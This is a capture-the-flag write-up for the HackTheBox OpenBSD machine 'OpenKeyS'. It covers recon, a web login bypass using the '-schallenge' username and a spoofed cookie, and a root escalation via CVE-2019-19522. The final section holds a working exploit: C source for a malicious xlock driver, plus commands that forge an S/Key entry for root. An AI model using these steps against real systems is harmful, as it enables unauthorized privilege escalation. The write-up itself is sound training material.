HackTheBox - OpenKeyS
OpenKeyS is an OpenBSD machine that is vulnerable to the the OpenBSD authentication vulnerabilites which allow an attacker to bypass authentication and escalate privileges. We first bypass the authentication on the webpage and get the user’s private SSH key using which we are able to log in and then escalate privileges.
NMAP
The NMAP scan reveals the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
| 3072 5e:ff:81:e9:1f:9b:f8:9a:25:df:5d:82:1a:dd:7a:81 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDe8l1l+kUpCKDTLXtOj9CY1xcde98zhpP0ANXSj7eI2KRVQuOpowxjzNf/NrDoIffaCtsNY36nnVw5JDbX2zU0+wKeMEoVHBlelNSneBHrYv4CuhlO7ll6tHZcs0kWSvFk8nipNTYXSm48EhFbspsC89Yv7REeRFq+uE1unEo8d+Dt2MmDzNnu+QtATp4wlSE1L
IROq7cDRsR10S5j6fnaRbEYGquXSJkW6sV6PTZhGm8y6sXXQ3RynYJ129m5YTevg4fKpF/FkfEuPn5sRIj+aZCT6GjP9WEae+R/6lVEcMOmuq9K9CCqoGuwGakoK+m/upQDlI7pXcN8359a7XcMXSgriJIjV8yv350JsdLqIN704w5NLowAaInYPqXKNrXdxa5olprzF1dMlN0ClvV96tX9bg2ERrRhrLbSOZudrqef
MNjSKqdNWLh7AQh8TnwdDMdXf/IOat1CjQMNwPTi3XkklU+Lm92J8Nd6gO8uLd6HuRLPVxUqJp6hKwLIbHM=
| 256 64:7a:5a:52:85:c5:6d:d5:4a:6b:a7:1a:9a:8a:b9:bb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOM044THRHSb9MKRgg+pCGqLErFIOMaaGjCwwSpxVFsdQWW9kg3fROwqwtNVM1McgJ4Y4NwVzl+w5DZGK2OdhNE=
| 256 12:35:4b:6e:23:09:dc:ea:00:8c:72:20:c7:50:32:f3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIKuJoZTZonWY0/JkBfYeM2POVzE/TZfUJGA10PMXB1s
80/tcp open http syn-ack ttl 63 OpenBSD httpd
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html).
2875/tcp filtered dxmessagebase2 no-response
5051/tcp filtered ida-agent no-response
PORT 80
Checking port 80 reveals a login page which doesn’t appear to be vulnerable to SQLI.
Fuzzing the directories give us the following output.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.199/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/07/26 02:15:20 Starting gobuster
===============================================================
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/includes (Status: 301)
/index.html (Status: 200)
/index.php (Status: 200)
/js (Status: 301)
/vendor (Status: 301)
===============================================================
2020/07/26 02:16:35 Finished
===============================================================
We see an interesting includes directory which contains two files: auth.php and auth.php.swp.
Downloading and opening the auth.php.swp file reveals the following:
1
return True; $_SESSION['last_activity'] = $time; // Session is active, update last activity time and return True { else } return False; close_session(); { ($time - $_SESSION['last_activity']) > $session_timeout) if (isset($_SESSION['last_activity']) && $time = $_SERVER['REQUEST_TIME']; // Has the session expired? { if(isset($_SESSION["logged_in"])) // Is the user logged in? session_start(); // Start the session $session_timeout = 300; // Session timeout in seconds{function is_active_session()} return $retcode; system($cmd, $retcode); $cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);{function authenticate($username, $password)
The above code checks the SESSION variable username which is set using $_REQUEST['username']. The $_REQUEST variable accepts data through POST, GET and COOKIE. So if we set a cookie with the username jennifer found in the script, it will set the username for the session as the one specified in the cookie.
Further reading through the code reveals a ../auth_helpers/check_auth binary which can be downloaded. However, it is not of much use for us just yet.
We have a few bits of information by now:
- Username:
jennifer - OpenBSD httpd server:
NMAP SCAN
Now we just need to see if we can find a vulnerability in the server with something related to authentication as it has been mentioned a lot in the script.
Googling around for openbsd authentication http vulnerability show a few vulnerability reports for the OpenBSD authentication system which are not specifically used for HTTP authentication.
Authentication Vulnerabilities
However, reading further reading reveals that the vulnerability exists in the OpenBSD’s authentication system itself.
We discovered an authentication-bypass vulnerability in OpenBSD’s authentication system: this vulnerability is remotely exploitable in smtpd, ldapd, and radiusd, but its real-world impact should be studied on a case-by-case basis. For example, sshd is not exploitable thanks to its defense-in-depth mechanisms.
Reading further also reveals that the vulnerability exists in the challenge protocol of the authentication system. Specifying the username -schallenge forces a passwd style authentication and automatically bypasses the authentication.
Exploitation
We now know that using the username -schallenge while logging in will just automatically bypass the login. However trying to do that gives us the following error:
1
OpenSSH key not found for user -schallenge
Going back to the username jennifer that we found from our earlier findings we set the cookie username to jennifer as the variable $_REQUEST will accept a username through COOKIE, GET or POST.
Doing the above logs us in as jennifer and presents us with the ssh key for the user.
Privilege Escalation
After logging in with the ssh key we can grab the user flag.
Further reading through the article, the author outlines ways to escalate privileges through xlock and S/Key and YubiKey.
Futher readings:
xlock(1) - OpenBSD manual pages
Following the article step by step we open our own driver and gain the permissions with the group auth which can then be used to exploit CVE-2019-19522 where we need to make sure that the authentication type of either yubikey or skey has been enabled.
We can check the following in the /etc/login.conf with the line auth-defaults:auth=passwd,skey: this reveals that we can use this exploit.
Following the exploit step by step gives us root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
openkeys$ cat > swrast_dri.c << "EOF"
> #include <paths.h>
> #include <sys/types.h>
> #include <unistd.h>
>
> static void __attribute__ ((constructor)) _init (void) {
> gid_t rgid, egid, sgid;
> if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
> if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);
>
> char * const argv[] = { _PATH_KSHELL, NULL };
> execve(argv[0], argv, NULL);
> _exit(__LINE__);
> }
> EOF
openkeys$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c
openkeys$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &
[4] 89015
openkeys$ _XSERVTransmkdir: Owner of /tmp/.X11-unix should be set to root
openkeys$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66
openkeys$ id
uid=1001(jennifer) gid=11(auth) groups=1001(jennifer), 0(wheel)
openkeys$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
openkeys$ chmod 0600 /etc/skey/root
openkeys$ env -i TERM=vt220 su -l -a skey
otp-md5 99 obsd91335
S/Key Password:
openkeys# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)